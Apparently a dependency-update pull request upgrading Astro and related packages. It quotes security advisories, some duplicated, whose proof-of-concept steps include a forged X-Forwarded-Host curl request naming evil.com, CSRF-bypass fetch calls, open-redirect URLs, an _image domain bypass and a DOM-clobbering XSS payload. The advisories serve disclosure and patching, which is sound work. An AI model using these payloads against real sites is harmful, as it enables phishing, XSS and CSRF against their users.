๐จ [security] Update astro 1.6.11 โ 5.14.4 (major)
๐จ Your current dependencies have known security vulnerabilities ๐จ
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.
What changed?
โณ๏ธ astro (1.6.11 โ 5.14.4) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Astro's `X-Forwarded-Host` is reflected without validation
Summary
When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an
X-Forwarded-Hostheader that is reflected when using the recommendedAstro.urlproperty as there is no validation that the value is safe.Details
Astro reflects the value in
X-Forwarded-Hostin output when usingAstro.urlwithout any validation.It is common for web servers such as nginx to route requests via the
Hostheader, and forward on other request headers. As such as malicious request can be sent with both aHostheader and anX-Forwarded-Hostheader where the values do not match and theX-Forwarded-Hostheader is malicious. Astro will then return the malicious value.This could result in any usages of the
Astro.urlvalue in code being manipulated by a request. For example if a user follows guidance and usesAstro.urlfor a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.
Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.
PoC
- Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
nvm useyarn run buildnode ./dist/server/entry.mjscurl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'- Observe that the response reflects the malicious
X-Forwarded-HostheaderFor the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above
curlrequest a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.Impact
This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.
๐จ Astro allows unauthorized third-party images in _image endpoint
Summary
In affected versions of
astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.Details
On-demand rendered sites built with Astro include an
/_imageendpoint which returns optimized versions of images.The
/_imageendpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, a bug in impacted versions of
astroallows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g./_image?href=//example.com/image.png.Proof of Concept
Create a new minimal Astro project (
astro@5.13.0).Configure it to use the Node adapter (
@astrojs/node@9.1.0โ newer versions are not impacted):// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), });Build the site by running
astro build.Run the server, e.g. with
astro preview.Append
/_image?href=//placehold.co/600x400to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400The site will serve the image from the unauthorized
placehold.coorigin.Impact
Allows a non-authorized third-party to create URLs on an impacted siteโs origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.
๐จ Astro allows unauthorized third-party images in _image endpoint
Summary
In affected versions of
astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.Details
On-demand rendered sites built with Astro include an
/_imageendpoint which returns optimized versions of images.The
/_imageendpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, a bug in impacted versions of
astroallows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g./_image?href=//example.com/image.png.Proof of Concept
Create a new minimal Astro project (
astro@5.13.0).Configure it to use the Node adapter (
@astrojs/node@9.1.0โ newer versions are not impacted):// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), });Build the site by running
astro build.Run the server, e.g. with
astro preview.Append
/_image?href=//placehold.co/600x400to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400The site will serve the image from the unauthorized
placehold.coorigin.Impact
Allows a non-authorized third-party to create URLs on an impacted siteโs origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.
๐จ Astros's duplicate trailing slash feature leads to an open redirection security issue
Summary
There is an Open Redirection vulnerability in the trailing slash redirection logic when handling paths with double slashes. This allows an attacker to redirect users to arbitrary external domains by crafting URLs such as
https://mydomain.com//malicious-site.com/. This increases the risk of phishing and other social engineering attacks.This affects Astro >=5.2.0 sites that use on-demand rendering (SSR) with the Node or Cloudflare adapter. It does not affect static sites, or sites deployed to Netlify or Vercel.
Background
Astro performs automatic redirection to the canonical URL, either adding or removing trailing slashes according to the value of the
trailingSlashconfiguration option. It follows the following rules:
- If
trailingSlashis set to"never",https://example.com/page/will redirect tohttps://example.com/page- If
trailingSlashis set to"always",https://example.com/pagewill redirect tohttps://example.com/page/It also collapses multiple trailing slashes, according to the following rules:
- If
trailingSlashis set to"always"or"ignore"(the default),https://example.com/page//will redirect tohttps://example.com/page/- If
trailingSlashis set to"never",https://example.com/page//will redirect tohttps://example.com/pageIt does this by returning a
301redirect to the target path. The vulnerability occurs because it uses a relative path for the redirect. To redirect fromhttps://example.com/pagetohttps://example.com/page/, it sending a 301 response with the headerLocation: /page/. The browser resolves this URL relative to the original page URL and redirects tohttps://example.com/page/Details
The vulnerability occurs if the target path starts with
//. A request forhttps://example.com//pagewill send the headerLocation: //page/. The browser interprets this as a protocol-relative URL, so instead of redirecting tohttps://example.com//page/, it will attempt to redirect tohttps://page/. This is unlikely to resolve, but by crafting a URL in the formhttps://example.com//target.domain/subpath, it will send the headerLocation: //target.domain/subpath/, which the browser translates as a redirect tohttps://target.domain/subpath/. The subpath part is required because otherwise Astro will interpret/target.domainas a file download, which skips trailing slash handling.This leads to an Open Redirect vulnerability.
The URL needed to trigger the vulnerability varies according to the
trailingSlashsetting.
- If
trailingSlashis set to"never", a URL in the formhttps://example.com//target.domain/subpath/- If
trailingSlashis set to"always", a URL in the formhttps://example.com//target.domain/subpath- For any config value, a URL in the form
https://example.com//target.domain/subpath//Impact
This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.
No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.
Mitigation
You can test if your site is affected by visiting
https://yoursite.com//docs.astro.build/en//. If you are redirected to the Astro docs then your site is affected and must be updated.Upgrade your site to Astro 5.12.8. To mitigate at the network level, block outgoing redirect responses with a
Locationheader value that starts with//.
๐จ Astro's server source code is exposed to the public if sourcemaps are enabled
Summary
A bug in the build process allows any unauthenticated user to read parts of the server source code.
Details
During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.
Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.
While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in
src/pages) are predictably named. For example. the sourcemap file forsrc/pages/index.astrogets nameddist/client/pages/index.astro.mjs.map.PoC
Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map![]()
The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.
![]()
The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro
![]()
The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):
path:astro.config.mjs @sentry/astroThis vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the
dist/client(referred to asconfig.build.clientin astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains.mapfiles corresponding to the code that runs on the server.Impact
All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.
Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.
The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.
There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .
There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.
- Network attack vector.
- Low attack complexity.
- No privileges required.
- No interaction required from an authorized user.
- Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.
Remediation
The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.
๐จ Astro's server source code is exposed to the public if sourcemaps are enabled
Summary
A bug in the build process allows any unauthenticated user to read parts of the server source code.
Details
During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.
Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.
While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in
src/pages) are predictably named. For example. the sourcemap file forsrc/pages/index.astrogets nameddist/client/pages/index.astro.mjs.map.PoC
Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map![]()
The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.
![]()
The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro
![]()
The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):
path:astro.config.mjs @sentry/astroThis vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the
dist/client(referred to asconfig.build.clientin astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains.mapfiles corresponding to the code that runs on the server.Impact
All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.
Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.
The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.
There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .
There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.
- Network attack vector.
- Low attack complexity.
- No privileges required.
- No interaction required from an authorized user.
- Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.
Remediation
The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.
๐จ Atro CSRF Middleware Bypass (security.checkOrigin)
Summary
A bug in Astroโs CSRF-protection middleware allows requests to bypass CSRF checks.
Details
When the
security.checkOriginconfiguration option is set totrue, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)For example, with the following Astro configuration:
// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), });A request like the following would be blocked if made from a different origin:
// fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbiddenHowever, a vulnerability exists that can bypass this security.
Pattern 1: Requests with a semicolon after the
Content-TypeA semicolon-delimited parameter is allowed after the type in
Content-Type.Web browsers will treat a
Content-Typesuch asapplication/x-www-form-urlencoded; abcas a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200).Pattern 2: Request without
Content-TypeheaderThe
Content-Typeheader is not required for a request. The following examples are sent without aContent-Typeheader, resulting in CSRF.// Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' }); // Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), });Impact
Bypass CSRF protection implemented with CSRF middleware.
Note
Even with
credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.
๐จ DOM Clobbering Gadget found in astro's client-side router that leads to XSS
Summary
A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e.,
iframetags with unsanitizednameattributes) on the destination pages.Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadgets found in Astro
We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the
<ViewTransitions />component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an<a>link):astro/packages/astro/src/transitions/router.ts
Lines 135 to 156 in 7814a6c
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.scriptslookup can be shadowed by an attacker injected non-script HTML elements (e.g.,<img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.The condition
script.dataset.astroExec === ''on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require atypeattribute.Finally, the
innerHTMLof an attacker-injected non-script HTML elements, which is plain text content before, will be set to the.innerHTMLof an script element that leads to XSS.PoC
Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g.,
formoriframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.For PoC website, please refer to:
https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger analert(1)from an attacker-injectedformelement.--- import Header from "../components/Header.astro"; import Footer from "../components/Footer.astro"; import { ViewTransitions } from "astro:transitions"; import "../styles/global.css"; const { pageTitle } = Astro.props; --- <html lang="en"> <head> <meta charset="utf-8" /> <link rel="icon" type="image/svg+xml" href="/favicon.svg" /> <meta name="viewport" content="width=device-width" /> <meta name="generator" content={Astro.generator} /> <title>{pageTitle}</title> <ViewTransitions /> </head> <body> <!--USER INPUT--> <iframe name="scripts">alert(1)</iframe> <iframe name="scripts">alert(1)</iframe> <!--USER INPUT--> <Header /> <h1>{pageTitle}</h1> <slot /> <Footer /> <script> import "../scripts/menu.js"; </script> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with
ViewTransitionsand store the user-inserted scriptless HTML tags without properly sanitizing thenameattributes on the page.Patch
We recommend replacing
document.scriptswithdocument.getElementsByTagName('script')for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging thenameattribute.Reference
Similar issues for reference:
- Webpack (CVE-2024-43788)
- Vite (CVE-2024-45812)
- layui (CVE-2024-47075)
Release Notes
Too many releases to show here. View the full release notes.
โณ๏ธ @โastrojs/node (3.1.0 โ 9.4.6) ยท Repo
Security Advisories ๐จ
๐จ Astro allows unauthorized third-party images in _image endpoint
Summary
In affected versions of
astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.Details
On-demand rendered sites built with Astro include an
/_imageendpoint which returns optimized versions of images.The
/_imageendpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using theimage.domainsorimage.remotePatternsoptions).However, a bug in impacted versions of
astroallows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g./_image?href=//example.com/image.png.Proof of Concept
Create a new minimal Astro project (
astro@5.13.0).Configure it to use the Node adapter (
@astrojs/node@9.1.0โ newer versions are not impacted):// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ adapter: node({ mode: 'standalone' }), });Build the site by running
astro build.Run the server, e.g. with
astro preview.Append
/_image?href=//placehold.co/600x400to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400The site will serve the image from the unauthorized
placehold.coorigin.Impact
Allows a non-authorized third-party to create URLs on an impacted siteโs origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.
๐จ @astrojs/node's trailing slash handling causes open redirect issue
Summary
Following GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios.
Details
Astro 5.12.8 fixed a case where
https://example.com//astro.build/presswould redirect to the external origin//astro.build/press. However, with the Node deployment adapter in standalone mode andtrailingSlashset to"always"in the Astro configuration,https://example.com//astro.build/pressstill redirects to//astro.build/press.Proof of Concept
- Create a new minimal Astro project (
astro@5.12.8)- Configure it to use the Node adapter (
@astrojs/node@9.4.0) and force trailing slashes:// astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ trailingSlash: 'always', adapter: node({ mode: 'standalone' }), });- Build the site by running
astro build.- Run the server, e.g. with
astro preview.- Append
//astro.build/pressto the preview URL, e.g. http://localhost:4321//astro.build/press- The site will redirect to the external Astro Build origin.
Example reproduction
- Open this StackBlitz reproduction.
- Open the preview in a separate window so the StackBlitz embed doesn't cause security errors.
- Append
//astro.build/pressto the preview URL, e.g.https://x.local-corp.webcontainer.io//astro.build/press.- See it redirect to the external Astro Build origin.
Impact
This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.
No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.
Sorry, we couldnโt find anything useful about this release.
โณ๏ธ @โastrojs/react (1.2.2 โ 4.4.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โณ๏ธ @โastrojs/tailwind (2.1.3 โ 6.0.2) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โณ๏ธ prettier-plugin-astro (0.7.0 โ 0.14.1) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 56 commits:
Version Packages (#423)fix: try to fix GitHub Actionschore: update compilerVersion Packages (#418)[FEAT] Add option to skip formatting the Frontmatter (#417)Version Packages (#401)fix: rewrite readme (#400)fix: hug when needed for components and fragments (#397)Version Packages (#393)fix: regression with self-closing tags text (#394)fix: format JSX expressions with 3+ roots (#392)Fix: typo in `CONTRIBUTING.md` and broken links on `elements.ts` (#391)Version Packages (#385)Fix attributes using optional chaining not formatting correctly (#384)ci: run CI on latest Node versions (#380)Version Packages (#379)fix(embed): Replace all instances of invalid characters inside expressions (#378)Readme: Clarify filename of prettierrc (#376)Version Packages (#371)Do not delete line breaks and indentation of lines in class attribute (#369)Format doctype as lowercase to match Prettier 3.0 (#370)Version Packages (#363)docs: update README for Prettier 3 ESM configs (#366)chore(package.json): remove pnpm from engines (#362)Add congrats bot (#357)Version Packages (#356)feat: support for Prettier 3 (#355)Version Packages (#350)feat: use sync version of the compiler (#349)Version Packages (#348)fix: prevent parsing empty script tags (#347)[ci] formatVersion Packages (#343)docs: rewrite README (#344)feat(embed): Add support for formatting JSON, Markdown etc script tags (#342)[ci] formatUse `babel-ts` to parse the frontmatter (#341)Version Packages (#327)Correctly pass options to embedded parsers (#339)Add compatibility for other plugins parsing top-level returns in Astro frontmatter (#336)fix: treat offset as bytes (#324)Version Packages (#321)Add support for formatting spread attributes (#320)fix(css): Add support for formatting LESS style blocks (#319)config(prettier): Add lockfile to .prettierignore[ci] formatchore(deps): Upgrade dependenciesci(node): Remove Node 14 in favor of Node 18 (#314)Version Packages (#313)fix: Remove only-allowVersion Packages (#307)Migrate to pnpm (#303)Fix node not hugging their end when the last children was a node (#312)Add test for ignoring self-closing tag + upgrade compiler (#310)chore: upgrade compiler (#305)chore: use .cjs instead of .js (#304)
โ๏ธ @โastrojs/compiler (indirect, 0.29.17 โ 2.13.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
โ๏ธ @โastrojs/markdown-remark (indirect, 1.1.3 โ 6.3.8) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โastrojs/prism (indirect, 1.0.2 โ 3.3.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โastrojs/telemetry (indirect, 1.0.1 โ 3.3.0) ยท Repo ยท Changelog
Release Notes
3.3.0 (from changelog)
Minor Changes
#13809
3c3b492Thanks @ascorbic! - Increases minimum Node.js version to 18.20.8Node.js 18 has now reached end-of-life and should not be used. For now, Astro will continue to support Node.js 18.20.8, which is the final LTS release of Node.js 18, as well as Node.js 20 and Node.js 22 or later. We will drop support for Node.js 18 in a future release, so we recommend upgrading to Node.js 22 as soon as possible. See Astro's Node.js support policy for more details.
โ ๏ธ Important note for users of Cloudflare Pages: The current build image for Cloudflare Pages uses Node.js 18.17.1 by default, which is no longer supported by Astro. If you are using Cloudflare Pages you should override the default Node.js version to Node.js 22. This does not affect users of Cloudflare Workers, which uses Node.js 22 by default.
3.2.1 (from changelog)
Patch Changes
- #13591
5dd2d3fThanks @florian-lefebvre! - Removes unused code
3.2.0 (from changelog)
Minor Changes
3.1.0 (from changelog)
Minor Changes
#10689
683d51a5eecafbbfbfed3910a3f1fbf0b3531b99Thanks @ematipico! - Deprecate support for versions of Node.js older thanv18.17.1for Node.js 18, older thanv20.0.3for Node.js 20, and the complete Node.js v19 release line.This change is in line with Astro's Node.js support policy.
3.0.4 (from changelog)
Patch Changes
#8900
341ef6578Thanks @FredKSchott! - Track if the Astro CLI is running in aTTYcontext.This information helps us better understand scripted use of Astro vs. direct terminal use of Astro CLI by a user, especially the
astro devcommand.
3.0.3 (from changelog)
Patch Changes
3.0.2 (from changelog)
Patch Changes
- #8600
ed54d4644Thanks @FredKSchott! - Improve config info telemetry
3.0.1 (from changelog)
Patch Changes
- #8363
0ce0720c7Thanks @natemoo-re! - WrapJSON.parseintry/catch
3.0.0 (from changelog)
Major Changes
#8188
d0679a666Thanks @ematipico! - Remove support for Node 16. The lowest supported version by Astro and all integrations is now v18.14.1. As a reminder, Node 16 will be deprecated on the 11th September 2023.#8179
6011d52d3Thanks @matthewp! - Astro 3.0 Release CandidatePatch Changes
#8234
0c7b42dc6Thanks @natemoo-re! - Update telemetry notice#8130
3e834293dThanks @Princesseuh! - Add some polyfills for Stackblitz until they support Node 18. Running Astro on Node 16 is still not officially supported, however.#8188
b675acb2aThanks @ematipico! - Remove undici dependency
2.1.1 (from changelog)
Patch Changes
2.1.0 (from changelog)
Minor Changes
- #6213
afbbc4d5bThanks @Princesseuh! - Updated compilation settings to disable downlevelling for Node 14
2.0.1 (from changelog)
Patch Changes
- #6355
5aa6580f7Thanks @ematipico! - Updateundicito v5.20.0
Does any of this look wrong? Please let us know.
โ๏ธ @โbabel/compat-data (indirect, 7.20.1 โ 7.28.4) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 14 commits:
v7.28.4fix: allow `d` and `v` flag in `regExpLiteral` builder (#17495)Update test262 (#17496)Update Jest to v30.1.1 (#17493)Improve @babel/traverse typings (#17485)Update compat data (#17487)Update test262 (#17488)Do not enable default plugins in `@babel/standalone` (#17421)chore: Clean up `transform-regenerator` (#17455)Improve @babel/core typings (#17471)Update test262 (#17481)[Babel 8] Align TSMappedType AST (#17479)Switch to @jridgewell/remapping (#17474)Add v7.28.3 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/core (indirect, 7.20.2 โ 7.28.4) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 14 commits:
v7.28.4fix: allow `d` and `v` flag in `regExpLiteral` builder (#17495)Update test262 (#17496)Update Jest to v30.1.1 (#17493)Improve @babel/traverse typings (#17485)Update compat data (#17487)Update test262 (#17488)Do not enable default plugins in `@babel/standalone` (#17421)chore: Clean up `transform-regenerator` (#17455)Improve @babel/core typings (#17471)Update test262 (#17481)[Babel 8] Align TSMappedType AST (#17479)Switch to @jridgewell/remapping (#17474)Add v7.28.3 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helper-compilation-targets (indirect, 7.20.0 โ 7.27.2) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 10 commits:
v7.27.2fix: `@babel/parser/bin/index.js` contains `node:` protocol require (#17289)fix: Private class method not found when ts and estree parser plugins are enabled (#17291)Fix: improve object rest handling in array pattern (#17281)Use `.d.ts` in import when importing a `.d.ts` file (#17288)[Babel 8] Directly export the JSON files from `@babel/compat-data` (#17267)Enable Node compile cache for `@babel/cli` (#17285)Update test262 (#17286)fix(babel-template): Properly handle empty string replacements (#17284)Add v7.27.1 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helper-module-imports (indirect, 7.18.6 โ 7.27.1) ยท Repo ยท Changelog
Release Notes
7.27.1
v7.27.1 (2025-04-30)
Thanks @kermanx and @woaitsAryan for your first PRs!
๐ Spec Compliance
babel-parserbabel-parser,babel-types๐ Bug Fix
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressions,babel-traversebabel-helper-wrap-function,babel-plugin-transform-async-to-generator
- #17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)
babel-helper-remap-async-to-generator,babel-plugin-transform-async-to-generatorbabel-helper-fixtures,babel-parserbabel-generator,babel-parserbabel-parserbabel-compat-data,babel-preset-envbabel-traverse
- #17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)
babel-generator๐ Polish
babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining,babel-plugin-proposal-decorators,babel-plugin-transform-arrow-functions,babel-plugin-transform-class-properties,babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spread,babel-plugin-transform-optional-chaining,babel-plugin-transform-parameters,babel-traverse
- #17221 Reduce generated names size for the 10th-11th (@nicolo-ribaudo)
๐ Internal
babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #17263 Remove unused
regenerator-runtimedep in@babel/runtime(@nicolo-ribaudo)babel-compat-data,babel-preset-envbabel-compat-data,babel-standalonebabel-register
- #16844 Migrate
@babel/registerto cts (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17205 Inline regenerator in the relevant packages (@nicolo-ribaudo)
- All packages
๐ฌ Output optimization
babel-helpers,babel-plugin-transform-modules-commonjs,babel-runtime-corejs3
- #16538 Reduce
interopRequireWildcardsize (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17213 Reduce
regeneratorRuntimesize (@liuxingbaoyu)Committers: 9
- Aryan Bharti (@woaitsAryan)
- Babel Bot (@babel-bot)
- Frolov Roman (@Lacsw)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- @magic-akari
- _Kerman (@kermanx)
- fisker Cheung (@fisker)
7.25.9
v7.25.9 (2024-10-22)
Thanks @victorenator for your first PR!
๐ Bug Fix
babel-parser,babel-template,babel-types
- #16905 fix: Keep type annotations in
syntacticPlaceholdersmode (@liuxingbaoyu)babel-helper-compilation-targets,babel-preset-env- Other
- #16884 Analyze
ClassAccessorPropertyto prevent theno-undefrule (@victorenator)๐ Internal
babel-helper-transform-fixture-test-runner- Every package
- #16917 fix: Accidentally published
tsconfigfiles (@liuxingbaoyu)๐โโ๏ธ Performance
babel-parser,babel-types
- #16918 perf: Make
VISITOR_KEYSetc. faster to access (@liuxingbaoyu)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Viktar Vaลญฤkieviฤ (@victorenator)
- @liuxingbaoyu
7.25.7
v7.25.7 (2024-10-02)
Thanks @DylanPiercey and @YuHyeonWook for your first PRs!
๐ Bug Fix
babel-helper-validator-identifierbabel-traverse
- #16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)
babel-plugin-transform-classes
- #16797 Use an inclusion rather than exclusion list for
super()check (@nicolo-ribaudo)babel-generator
- #16788 Fix printing of TS
inferin compact mode (@nicolo-ribaudo)- #16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)
- #16778 Respect
[no LineTerminator here]after nodes (@nicolo-ribaudo)๐ Polish
babel-types
- #16852 Add deprecated JSDOC for fields (@liuxingbaoyu)
๐ Internal
babel-core
- #16820 Allow sync loading of ESM when
